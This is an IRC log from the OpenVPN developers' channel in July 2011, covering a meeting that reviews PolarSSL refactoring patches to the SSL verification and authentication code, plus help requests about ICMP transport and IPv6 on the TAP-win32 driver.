genlime: nope, nobody have provided patches for it 09:46 <@dazo> without patches, nothing happens 09:46 <@dazo> let me rephrase: nobody have provided sane patches for it 09:47 < genlime> dazo, may I ask who makes the patches and what they are? 09:47 <@dazo> (t might me something floating around, but it has not hit the -devel mailing list for review, afair) 09:47 <@dazo> genlime: patches are written by people who wants a feature or fixes an issue in OpenVPN ... they submit it to the -devel mailing list for review ... and if accepted, it goes into OpenVPN 09:48 < genlime> devel mailing list? does the people in the openvpn forum needs to mail the development team for this? 09:48 <@dazo> yes 09:48 <@dazo> we don't accept patches directly in the forum ... basically because most of the developers don't pay attention to the forum at all 09:48 < genlime> where? I am in the forum sometimes but I am not aware that there is this mailing somewhere to the development team. 09:49 <@dazo> It's all described here: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation 09:49 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 09:50 < genlime> can I see some of the initially created codes? 09:51 <@dazo> genlime: yes, by using git ... git blame <filename> in the source tree will tell you who wrote each line of the code 09:52 <@dazo> genlime: I might have misunderstood your question 09:52 <@dazo> initially created code might mean different things 09:55 < genlime> I have seen one open_icmp.tar somewhere here. was it further developed ? 09:55 <@dazo> genlime: I dunno ... and I basically don't care if it's not provided to the -devel mailing list 09:56 < genlime> how sad. icmp protocol I think would be very useful 09:57 <@dazo> genlime: if *somebody* cares enough to write proper and sane code and mail it to the mailing list, it will be considered 09:58 < genlime> how about submitting the icmptx tar to the devel mailing list? of the ptunnel initial source code for further development? 09:58 <@dazo> genlime: but if you look at this list: https://community.openvpn.net/openvpn/report/1 ... we have more than enough to look into already ... and we're having a big job to get PolarSSL support implemented 09:58 <@vpnHelper> Title: {1} Active Tickets – OpenVPN Community (at community.openvpn.net) 09:59 <@dazo> genlime: if that code can be applied and work with the current openvpn code, fine, do that ... but if it means "take the principles from this code and please adopt it to openvpn", then you can forget about it 09:59 <@dazo> genlime: if you really want this to become a reality in OpenVPN ... either do the programming yourself, or pay someone to do that job for you 10:00 <@dazo> if both these options are out of question ... then you'll have to sit and wait until this support comes, when somebody writes that code 10:00 < genlime> pay? how much do you think will it cost me to ask it to program and include it to my own openvpn package? 10:00 <@dazo> but there is no immediate plans to support this ... at least not in the OpenVPN 2.x time frame 10:01 <@dazo> genlime: depends on what kind of price the developer you ask to do this job ... I dunno ... it might be from $80 to $1000 per hour, depending on the developer 10:02 < genlime> wow. anyway, what language was used to develop openvpn? 10:02 <@dazo> C 10:03 <@dazo> genlime: just beware, that you cannot pay someone to do this job into OpenVPN and sell this as "your own", you're infringing the GPL license. If you distribute "your" version, you need to provide the source code to the public without any costs 10:03 < genlime> c? what software can I study and use for C programming? 10:04 <@dazo> genlime: buy yourself "C for dummies", please 10:04 < genlime> I am only limited to visual basic 10:04 <@dazo> okay, I've wasted enough time now 10:05 < genlime> dazo thanks for the time. 10:06 -!- genlime [475e9252@gateway/web/freenode/ip.71.94.146.82] has quit [Quit: Page closed] 10:22 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 10:32 <@andj> wow... 10:34 <@dazo> andj: if you don't know the history behind genlime ... this dialogue might sound rougher than it really is :) 10:34 <@andj> ah ok :) 10:34 <@andj> I didn't really get what he wanted in the first place :) 10:34 <@andj> something with ICMP 10:35 <@dazo> openvpn over icmp, instead of tcp or udp 10:35 <@andj> ah, we should add DNS while we're at it 10:35 <@andj> :) 10:35 <@dazo> it can be useful in some cases ... and yeah, DNS would be the next one as well :) 10:36 <@dazo> but we're having more than enough to look at already, and I'm not that eager to start poking with socket.c in the current shape :) 10:38 <@andj> :) 10:53 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:18 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 11:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:55 <@mattock> james had been swamped in latest AS release preparations last Tuesday 11:55 <@mattock> I hope he's can attend today 11:57 <@andj> So do I, I really hope to get these patches through 11:57 <@mattock> they'll get through eventually, I'm sure... but still, I don't like unnecessary delays 12:02 <@mattock> mailed james 12:02 <@mattock> he said your (andj's) diff solution is "probably fine", and I mailed him the example link 12:04 <@dazo> mattock: I won't be able to join today (as announced earlier), but for general reviews, we should seriously look at Gerrit ... http://code.google.com/p/gerrit/ ... it changes our workflow slightly, but for reviewing purpose, it seems to simplify that process 12:04 <@vpnHelper> Title: gerrit - Gerrit Code Review - Google Project Hosting (at code.google.com) 12:04 <@mattock> james should be coming 12:04 <@mattock> very soon 12:04 <@mattock> dazo: ok, no problem 12:05 <@mattock> let's take a good look at gerrit and maybe take it for a spin 12:05 * dazo heads out now 12:06 * andj waves 12:10 -!- dazo is now known as dazo_afk 12:14 <@andj> hmm, could you send him a poke e-mail? 12:14 <@mattock> I poked him already, but I'll try again with "poky" subject line :) 12:15 <@mattock> hmm, I think he was confused about the time 12:16 <@mattock> he mailed me "I can attend" a few minutes ago 12:16 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:17 <@jamesyonan> hi 12:17 <@andj> hi 12:17 <@mattock> hi jamesyonan! 12:17 <@mattock> oh, we actually don't have topic page, I'll make one as we go 12:18 <@andj> I've prepared a few diffs of diffs, and we have this one: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration 12:18 <@andj> :) 12:18 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 12:19 <@andj> jamesyonan: I have a question about CRL verification. It looks like the CRL verification code doesn't work with chained CRLs 12:19 <@andj> So if you have CA->intCA->client 12:19 <@andj> and intCA is revoked 12:20 <@andj> It won't get detected 12:20 <@jamesyonan> yeah, I didn't write the current CRL code in ssl.c 12:20 <@andj> I know how to fix it in Polar, not quite sure about OpenSSL 12:21 <@andj> anyway, we'll hopefully meet that code somewhere later this evening :) 12:21 <@mattock> patch status for today is here: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration#Verificationfunctions 12:21 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 12:21 <@jamesyonan> it would be better to add the CRLs for each level of the cert chain to the SSL context object 12:21 <@andj> and let OpenSSL do it itself? 12:21 <@jamesyonan> yeah 12:22 <@andj> Might be a good feature to add after the patches get through 12:22 <@andj> shouldn't be too hard 12:22 <@andj> Today's first patch is https://github.com/andj/openvpn-ssl-refactoring/commit/bbe117b0217180718f9d84ed21c149b0d0f035ad 12:22 <@vpnHelper> Title: Commit bbe117b0217180718f9d84ed21c149b0d0f035ad to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:22 <@andj> I've taken a diff of the additions and subtractions, and placed it here: https://gist.github.com/1111954 12:22 <@vpnHelper> Title: andj's gist: 1111954 Gist (at gist.github.com) 12:23 <@mattock> topic page: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-28 12:23 <@vpnHelper> Title: Topics-2011-07-28 – OpenVPN Community (at community.openvpn.net) 12:24 <@andj> that second diff shows nicely that no significant changes were made 12:26 <@andj> does that look ok? 12:28 <@jamesyonan> what's happening with if (ks->authenticated && multi->locked_cert_hash_set) ? 12:29 <@jamesyonan> i.e. ks->authenticated removed from conditional? 12:29 <@andj> The whole function only runs when ks->authenticated 12:29 <@jamesyonan> ok 12:29 <@andj> "verify_final_auth_checks" only gest called when ks->authenticated is set 12:30 <@andj> next patch? 12:30 <@mattock> jamesyonan: ACK? 12:31 <@mattock> andj: I finally managed to wrap my head around your diff script :) 12:31 <@mattock> pretty neat 12:31 <@mattock> and simple 12:31 <@andj> It's just a diff of the additions and removals 12:32 <@andj> It works great for code that hasn't changed order 12:32 <@andj> which isn't all of the code unfortunately 12:32 <@andj> But we'll take those bits on a case by case basis 12:32 <@mattock> even so, if it covers _most_ that's good 12:32 <@jamesyonan> yes, ACK 12:32 <@mattock> nice! 12:33 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/4254b8152e94fdd46015505157a81a3033700202 and https://gist.github.com/1111955 for the diff of diffs 12:33 <@vpnHelper> Title: Commit 4254b8152e94fdd46015505157a81a3033700202 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:33 <@andj> is the next set then 12:33 <@andj> Note that tls_set_common_name is unused 12:33 <@andj> and disappears altogether in a later patch 12:34 <@andj> ks->authenticated is the same story as for the last patch 12:34 <@mattock> andj: when are these pastes set to expire? 12:34 <@andj> never I think 12:34 <@mattock> ok, I'll add the to notes section 12:35 <@andj> the default anyway 12:35 <@andj> there's a link at the bottom of every diff 12:35 <@andj> on github 12:35 <@mattock> ah 12:35 <@mattock> ok 12:37 < jamx> andj: you can manually set syntax highlighting for those gists to "diff", for some basic syntax coloring 12:38 <@andj> nice, thanks 12:38 <@andj> done 12:38 <@andj> :) 12:40 <@jamesyonan> since you're testing for ks->authenticated once before these calls are made, have you confirmed that all of the places in the code that might change ks->authenticated run before the test occurs? 12:42 <@andj> You mean within verify_final_auth_checks? 12:43 <@andj> The other two functions in there are independent checks, which should run ok 12:43 <@jamesyonan> well in the current organization of ssl.c, ks->authenticated can be potentially set in multiple places 12:43 <@andj> the ordering there hasn't changed 12:44 <@andj> The functions have basically just been extracted out of their current location and placed in ssl_verify, but they're called at the same time 12:44 <@jamesyonan> the reason why those conditionals that use ks->authenticated are repeated so much is to make sure that the value hasn't changed 12:45 <@jamesyonan> so we would need to be sure that no function that's potentially callable from inside verify_final_auth_checks could modify ks->authenticated 12:46 <@andj> They are actually modified, so I see what you mean 12:46 <@andj> But it doesn't hurt the situation, it's just an extra check that gets performed 12:48 <@andj> https://github.com/andj/openvpn-ssl-refactoring/blob/master/ssl_verify.c#L1170 12:48 <@jamesyonan> wouldn't it be safer to put the ks->authenticated back into the if expressions 12:48 <@andj> contains the final version 12:48 <@vpnHelper> Title: ssl_verify.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:48 <@andj> as you can see, there's three checks in there 12:48 <@andj> locked_cn 12:48 <@andj> cert_hash 12:48 <@andj> and client_config_dir_exclusive 12:49 <@andj> For the checks to pass/fail, the value of ks->authenticated doesn't matter 12:49 <@andj> all adding it would do is to fail more quickly 12:49 <@andj> It's possible, but it doesn't hurt performance 12:50 <@andj> But I'm willing to add the checks back in 12:50 <@jamesyonan> yes, I think we should add them back 12:50 <@andj> Ok, patch incoming 12:50 <@andj> other than that, ok? 12:50 <@jamesyonan> yes 12:51 <@andj> The next one is a doozy 12:51 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/ba69026d92958de3dbee6410c016d5b5cff01d6c 12:51 <@vpnHelper> Title: Commit ba69026d92958de3dbee6410c016d5b5cff01d6c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:51 <@andj> https://gist.github.com/1111925 12:51 <@vpnHelper> Title: andj's gist: 1111925 Gist (at gist.github.com) 12:53 <@jamesyonan> do you have a diff that shows just non-whitespace changes? 12:54 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/5c0202f2be6a28b049d878b6b55019b8b1cfa5dc 12:54 <@vpnHelper> Title: Commit 5c0202f2be6a28b049d878b6b55019b8b1cfa5dc to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:54 <@andj> Patch for the last issue 12:54 <@andj> with the authenticated stuff 12:55 <@andj> jamesyonan: I'll see what I can do 12:57 <@andj> jamesyonan: got rid of whitespace, just reload https://gist.github.com/1111925 12:57 <@vpnHelper> Title: andj's gist: 1111925 Gist (at gist.github.com) 13:00 <@mattock> topic page once again up-to-date 13:00 <@mattock> s/topic/patch/1 13:01 <@andj> nice 13:03 <@jamesyonan> what is with the changes to verify_user_pass (or are those just diff artifacts)? 13:04 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 13:04 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 13:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:05 <@andj> Which ones? 13:06 <@andj> ah, right those 13:08 <@andj> It gets factored out to a separate function 13:09 <@andj> see https://github.com/andj/openvpn-ssl-refactoring/commit/ba69026d92958de3dbee6410c016d5b5cff01d6c#L0L3103 13:09 <@vpnHelper> Title: Commit ba69026d92958de3dbee6410c016d5b5cff01d6c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:09 <@andj> So what you're seeing is a bit of diff artifact, it's actually a few separate small blocks 13:10 <@andj> +static inline bool verify_user_pass_enabled(struct tls_session *session)+{+ return (session->opt->auth_user_pass_verify_script+ || plugin_defined (session->opt->plugins, OPENVPN_PLUGIN_AUTH_USER_PASS_VERIFY)+ || management_enable_def_auth (management));+} 13:10 <@andj> that doesn't paste well, sorry 13:15 <@mattock> jamesyonan: what do you think? 13:19 <@jamesyonan> why is it refactored? 13:19 <@andj> what? 13:19 <@andj> the function? 13:21 <@andj> because the verify_user_pass function was rather large, with a lot of intertwined options 13:22 <@andj> this way, it's split off from key_method_2_read, making that code clearer, and at the same time putting the verification functions in a separate module from the control channel negotiation stuff 13:23 <@jamesyonan> do you have a diff that makes it more clear what's going on in the refactoring? 13:23 <@andj> which part of the refactoring do you want to look at? 13:24 <@andj> https://gist.github.com/1111925 shows that codewise, not much changes here 13:24 <@vpnHelper> Title: andj's gist: 1111925 Gist (at gist.github.com) 13:24 <@andj> just movement of functions 13:24 <@jamesyonan> I'm just looking for some sort of verification that the refactoring doesn't change any functionality 13:24 <@andj> then there 's the section you asked about 13:25 <@andj> The "if (session->opt->auth_user_pass_verify_script..." 13:25 <@andj> part 13:25 <@andj> there's not much changed there 13:25 <@andj> but the area to look at is at https://github.com/andj/openvpn-ssl-refactoring/commit/ba69026d92958de3dbee6410c016d5b5cff01d6c#L0L3054 13:25 <@vpnHelper> Title: Commit ba69026d92958de3dbee6410c016d5b5cff01d6c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:26 <@andj> What happens there is that the code from key_method_2_read moves to verify_user_pass 13:27 <@andj> Which is defined at https://github.com/andj/openvpn-ssl-refactoring/commit/ba69026d92958de3dbee6410c016d5b5cff01d6c#L3R654 13:27 <@vpnHelper> Title: Commit ba69026d92958de3dbee6410c016d5b5cff01d6c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:27 <@andj> comparing those two bits of code 13:28 <@andj> starts in https://gist.github.com/1111925 at line 259 13:28 <@vpnHelper> Title: andj's gist: 1111925 Gist (at gist.github.com) 13:28 <@andj> as you can see, a few variables go unused but not much else changes 13:30 <@andj> There's not much else that I can show... 13:30 <@andj> + int s1 = OPENVPN_PLUGIN_FUNC_SUCCESS; 13:30 <@andj> - int s1 = OPENVPN_PLUGIN_FUNC_SUCCESS; 13:31 <@andj> oops 13:32 <@andj> https://gist.github.com/1111925 shows the only real differences, and they can all be explained 13:32 <@andj> which I'm more than willing to do of course :) 13:32 <@vpnHelper> Title: andj's gist: 1111925 Gist (at gist.github.com) 13:34 <@andj> Is there any area you need an clarification on? 13:35 <@jamesyonan> I'm concerned a bit about breaking up the function 13:36 <@andj> which one? key_method_2_read? 13:37 <@andj> It was really long earlier, making it quite difficult to read/modify 13:37 <@jamesyonan> because there are many different ways that external modules can drive the auth system -- scripts, plugins, management interface, etc. 13:37 <@andj> exactly, they're now more clearly defined 13:38 <@jamesyonan> sure -- I think it's great that you clarified it, but we need some testing to confirm that each mode works as it did before 13:38 <@andj> sure, in which case can we ACK it with tests for the different modes? 13:38 <@mattock> jamesyonan: what tests should be done? 13:38 <@mattock> andj: +1 13:39 <@andj> I'm pretty confident about the code, and the diff reinforces that 13:39 <@andj> but I understand your concern. 13:39 <+krzee> and maybe those sorts of tests can be done by the master of puppets 13:39 <@andj> How about we ack it, with a note that we should focus alpha testing on that area? 13:40 <@mattock> krzee: I doubt it :D 13:40 <+krzee> ahh, figured if they could it would be great one day when 3.0 moves beyond planning 13:41 <@mattock> andj: makes sense, unless there's some easy set of tests we could do now 13:41 <@jamesyonan> this functionality is so central to the security of OpenVPN that we need to do some testing here 13:41 <@andj> agreed, but the clarification to this code is also very important to security 13:42 <@andj> there was a (non-security) bug in related code just a few weeks ago, because it was tough to read 13:42 <@andj> In fact, that bug is findable in the next patch :) 13:42 <@jamesyonan> agreed that clarification is important to security 13:42 <@andj> or the fix for it 13:43 <@andj> ok, so how shall we approach the user/pass verification matter? 13:43 <@jamesyonan> but I would ask, how do you guarantee that refactoring doesn't change functionality? 13:43 <@andj> By looking at the diff of diffs, and testing 13:43 <@jamesyonan> in many cases, the diffs are trivial enough that you can be reasonably sure by just looking at the diff 13:44 <@andj> I'm performing a lot of tests on these patches 13:44 <@andj> here and at work 13:44 <@jamesyonan> but in the cases where the diffs are more complex, I think we need testing that touches each of the possible auth modes 13:44 <@andj> but I need feedback from you guys too... 13:45 <@jamesyonan> so that means a test case for auth driven by scripts, plugins, management interface, etc. 13:45 <@andj> The only way to get that done is by including the patch in the next alpha, and making sure it gets covered thoroughly 13:45 <@andj> so, status = ACK, needs testing? 13:46 <@andj> and we move on to the next patch? 13:46 <@jamesyonan> yes, agreed 13:46 <@mattock> I would say so, and add a Trac ticket "do testing in these areas" 13:46 <@mattock> next patch :) 13:46 <@andj> phew, I promise that was the nastiest patch in the lot 13:46 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/71e27b1e282bf8e10724b69fe4cbeac65dee325b 13:46 <@vpnHelper> Title: Commit 71e27b1e282bf8e10724b69fe4cbeac65dee325b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:46 <@andj> https://gist.github.com/1111937 13:46 <@vpnHelper> Title: andj's gist: 1111937 Gist (at gist.github.com) 13:46 <@andj> The gist looks difficult 13:46 <@andj> but please look at the first comment 13:47 <@andj> If I pull it through another check 13:47 <@andj> only the extra error remains 13:48 <@andj> So the extract_x509_field_ssl remains the same 13:48 <@jamesyonan> so what are the meaningful changes here? 13:48 <@andj> yes, the bug fix I was talking about 13:48 <@andj> sec, making another diff 13:51 <@andj> https://gist.github.com/1111937#file_second.diff 13:51 <@vpnHelper> Title: andj's gist: 1111937 Gist (at gist.github.com) 13:51 <@andj> that is more meaningful 13:51 <@andj> note that x509_extension is now merged 13:51 <@andj> fixing the bug on the mailing list the other day 13:52 <@andj> is that worthy of an ack? 13:53 <@vpnHelper> RSS Update - tickets: #150: Verify that PolarSSL refactoring has not affected authentication functions <https://community.openvpn.net/openvpn/ticket/150> 13:53 <@andj> nive 13:53 <@andj> nice even 13:53 <@mattock> here's the ticket for the earlier patch: https://community.openvpn.net/openvpn/ticket/150 13:53 <@vpnHelper> Title: #150 (Verify that PolarSSL refactoring has not affected authentication functions) – OpenVPN Community (at community.openvpn.net) 13:54 <@jamesyonan> sure, this is reasonable 13:54 <@andj> cool, next one is small: https://github.com/andj/openvpn-ssl-refactoring/commit/43c6568e72c10838ee851dbd96f400cdac90563d#L1L616 13:54 <@vpnHelper> Title: Commit 43c6568e72c10838ee851dbd96f400cdac90563d to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:54 <@mattock> damn vpnHelper was faster than me :) 13:54 <@andj> yeah :) 13:56 <@andj> is 43c6568e72c10838ee851dbd96f400cdac90563d ok? 13:56 <@andj> That just cleans up a small issue with an ugly global 13:56 <@andj> don't know where it came from, but it belongs in the options 13:57 <@jamesyonan> yes, this one is fine 13:57 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/9213b628af6d93d9c3f067734733323ee79c57f1 13:57 <@vpnHelper> Title: Commit 9213b628af6d93d9c3f067734733323ee79c57f1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:58 <@andj> Moves the environment setup functions 13:58 <@andj> I'll make an extra diff 13:58 <@andj> the gist https://gist.github.com/1111940 is a bit long 13:58 <@vpnHelper> Title: andj's gist: 1111940 Gist (at gist.github.com) 14:03 <@jamesyonan> how much more do we have? I'm almost out of time. 14:03 <@andj> lots, but we can continue next week I guess 14:03 <@mattock> https://community.openvpn.net/openvpn/wiki/PolarSSLintegration#Verificationfunctions 14:03 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:03 <@mattock> quite a few 14:03 <@mattock> there's no way we can make it today 14:03 <@andj> I haven't got time on thursday 14:03 <@andj> next week 14:03 <@andj> can we make it Tuesday? 14:04 <@mattock> fine with me 14:04 <@mattock> jamesyonan? 14:04 <@mattock> 17:00 UTC? 14:04 <@jamesyonan> I can try to make it Tuesday, but Thursday tends to be better for me 14:05 <@andj> Just for the one week, I'm off for a few days then :) 14:05 <@jamesyonan> okay 14:05 <@andj> Shall we finish https://gist.github.com/1111940 and call it a day? 14:05 <@vpnHelper> Title: andj's gist: 1111940 Gist (at gist.github.com) 14:05 <@mattock> jamesyonan: is that patch ok? 14:05 <@jamesyonan> what's going on in this patch? 14:05 <@andj> I'm still throwing it through differs, to make it clearer 14:06 <@andj> The patch is a pretty straightforward move https://github.com/andj/openvpn-ssl-refactoring/commit/9213b628af6d93d9c3f067734733323ee79c57f1 14:06 <@vpnHelper> Title: Commit 9213b628af6d93d9c3f067734733323ee79c57f1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:06 <@andj> it sets up the environment for plugins and scripts 14:10 <@andj> I've updated the diff a little 14:10 <@andj> https://gist.github.com/1111940 14:10 <@vpnHelper> Title: andj's gist: 1111940 Gist (at gist.github.com) 14:10 <@andj> shows the differences a little better 14:12 <@andj> The serial number generation code gets moved to a separate file 14:12 <@andj> (openssl-specific) 14:13 <@andj> and that's the only major difference 14:14 <@andj> Does that seem ok? 14:15 -!- veryevil [~soveryevi@02d877e5.bb.sky.com] has joined #openvpn-devel 14:16 < veryevil> Damn missed the meeting 14:16 < veryevil> !meeting 14:16 < veryevil> !meetings 14:16 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 14:16 <@mattock> jamesyonan: ? 14:16 <@mattock> veryevil: we're wrapping it up atm 14:16 <@jamesyonan> still reading the patch... 14:17 < veryevil> I was after some help with the Tap-win32 driver and was hoping some one would be on here to help me 14:18 <@jamesyonan> is x509_cert_t an X509_NAME under OpenSSL? 14:18 <@mattock> veryevil: cron2 and jamesyonan can probably help you 14:18 <@mattock> not atm, though, jamesyonan needs to run and cron2 is not here probably 14:18 <@andj> jamesyonan: no, just X509 14:19 < veryevil> thats ok I know it is rude of me just to butt in to your meeting 14:19 <@andj> we're almost done :) 14:19 <@andj> working on the last patch 14:20 <@andj> for today that is 14:20 <@jamesyonan> I see what you're doing -- you're changing setenv_x509 to receive a cert rather than just an x509 name 14:20 <@andj> exactly 14:20 <@andj> and getting all the enviroment setup in one function 14:21 <@andj> so less spread out 14:21 <@andj> which also improves clarity 14:22 <@jamesyonan> yes, this patch looks okay 14:22 <@andj> cool, thanks 14:22 <@andj> thanks everyone 14:22 <@mattock> nice! 14:22 <@mattock> we made some good progress, especially with the nasty, large auth patch :) 14:23 <@andj> Some family just arrived, so have to run, but really happy with the progress! 14:23 <@mattock> jamesyonan: let me know if you can't attend next Tuesday 14:23 <@andj> wednesday or monday is fine too 14:23 <@mattock> so that we can rearrange the meeting some other day 14:23 <@mattock> jamesyonan: would those be better? 14:23 <@andj> Thanks everyone! will be back in about 30 mins 14:24 <@jamesyonan> Wednesday is better for me 14:24 <@mattock> hmm, actually I have something on wednesday, but I can still prepare and monitor the meeting 14:25 <@mattock> and edit the patch ACK list afterwards 14:25 <@mattock> so, wednesday it is :) 14:25 <@jamesyonan> take care guys 14:26 <@mattock> you too! 14:26 <@mattock> bye! 14:26 <@mattock> (I'll send the summary to ml tomorrow evening) 14:27 <@mattock> veryevil: please hang around in this channel and raise your voice when jamesyonan or cron2 is available :) 14:27 <@mattock> patch ACK status after this meeting: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration 14:27 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:27 <@mattock> still lots of stuff to do, but we're making good progress 14:27 < veryevil> I'll be on all tomorrow from 7am till 4pm 14:28 < veryevil> Its help for work I need 14:28 <@mattock> veryevil: what timezone are you in? 14:28 <@mattock> or country 14:28 < veryevil> GMT 14:28 < veryevil> that was UTC 14:29 <@mattock> ok 14:29 <@mattock> cron2 is on UTC+1 (Germany) 14:29 < veryevil> think they will be on tomorrow? 14:29 <@mattock> jamesyonan is UTC-6/7 (not sure) 14:29 <@mattock> veryevil: hope so 14:30 <@mattock> you can also try sending email to openvpn-devel mailing list 14:30 <@mattock> but you need to subscribe first, so it's somewhat of a hassle 14:30 <@mattock> ... got to go, getting pretty late here (UTC+2/3) 14:31 < veryevil> ok well thanks very much. I'm not a great fan of mailing lists thats what forums were designed for;) 14:32 < veryevil> I'll hang around tomorrow and see if I can manage not to annoy anyone. Bloody IPv6! If only I could do the project in IPv4 14:33 <@mattock> veryevil: there's IPv6 support (payload + transport) in "master" branch in Git 14:34 <@mattock> but you probably knew that already :) 14:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 15:51 < cron2> veryevil: heh, say anything against IPv6 and I'm not going to help 15:52 < cron2> "not annoy anyone" and "bloody ipv6!" in the same sentence is an... interesting start 15:52 * cron2 will be around about 5 more minutes, and then tomorrow afternoon-ish 16:06 -!- veryevil [~soveryevi@02d877e5.bb.sky.com] has quit [] 17:08 <@vpnHelper> RSS Update - testtrac: Moved doxygen-specific files to a separate directory <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3b75dec3e32e7d838ed56be5667d1cf3ac4cef18> || Added main/control docs <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=98619012e242176bcbdc3215fa462fa2cf882e36> || Added data channel fragmentation docs <http://openvpn.git.so 17:41 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 252 seconds] 17:42 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 20:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 20:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 22:28 -!- jamesyonan_ [~jamesyona@ec2-75-101-215-108.compute-1.amazonaws.com] has joined #openvpn-devel 22:28 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 22:31 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 22:31 -!- jamesyonan_ is now known as jamesyonan 23:30 -!- jamesyonan [~jamesyona@ec2-75-101-215-108.compute-1.amazonaws.com] has quit [Ping timeout: 260 seconds] --- Day changed Fri Jul 29 2011 02:23 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 08:55 < Veryevil> Afternoon 09:02 < cron2> moin 09:04 < Veryevil> Hi, I am trying to use the Tap-win32 driver to create a IPv6 Tun adapter which I can use to tunnel all IP6 packets too 09:05 < Veryevil> I'm using this code as a basis http://www.varsanofiev.com/inside/using_tuntap_under_windows.htm 09:05 <@vpnHelper> Title: Using tuntap under Windows (at www.varsanofiev.com) 09:05 < cron2> what's wrong with the tap driver included in OpenVPN? 09:06 < Veryevil> I cannot get it to work. I never see any IPv6 packets on the interface 09:06 < cron2> which version are you using (read: bundled with which version of OpenVPN)? 09:06 < Veryevil> The code has an async read function which recieves the packets sent to it 09:07 < Veryevil> I'm using 2.2.1 09:07 < cron2> which code, and "sent to it" from where, from windows or from the user? 09:07 < cron2> the tap driver in 2.2.1 does IPv6 just fine :) 09:07 < Veryevil> ok thats good 09:07 < Veryevil> The code is a slightly modified version of this http://www.varsanofiev.com/inside/TunTest.cs 09:07 < cron2> if you want to run it as tun driver, you need to send it an ioctl() to make it understand "tun mode now!" 09:08 < Veryevil> yeah I send it the ip4 address, ip4 network mask and ip4 network to the in buffer on the ioctl call 09:09 < Veryevil> The async receive function picks up ipv4 packets send to it writes out the number of bytes 09:10 < Veryevil> but if I set an IPv6 address on the interface and then ping a device in the same subnet the async receive function doesn't pick up the packets 09:10 < cron2> even if not setting an IPv6 address, you should see fe80 packets (initial interface startup, router solicitation, etc.) 09:11 < cron2> do you have ipv6 enabled in your system=? 09:11 < Veryevil> yeah I'm on a windows 7 x64 machine 09:11 < Veryevil> IPv6 in enabled on the interface 09:13 < cron2> ok, now the question is "does windows not send packets to the device" or "does the driver not forward the packets". If you run ethereal on the tap interface, can you see ipv6 packets? 09:13 < cron2> (and are you *sure* you have the new driver? the 2.1 tap driver will NOT handle IPv6 in tun mode) 09:14 < Veryevil> will reinstall driver and make 100% 09:14 < cron2> you can check the version number reported back 09:15 < cron2> it needs to be 9.8 or later 09:16 < cron2> ah, the test code doesn't have a version number check yet - see TAP_IOCTL_GET_VERSION in openvpn tun.c if you want to do that from the client code 09:16 < Veryevil> DriverVer=04/19/2010,9.00.00.8 09:16 < Veryevil> from the inf 09:17 < cron2> that doesn't look right 09:18 < Veryevil> that is what is shipped with the windows installer on the openvpn site as 2.2.1 09:19 < cron2> searching... 09:20 < cron2> 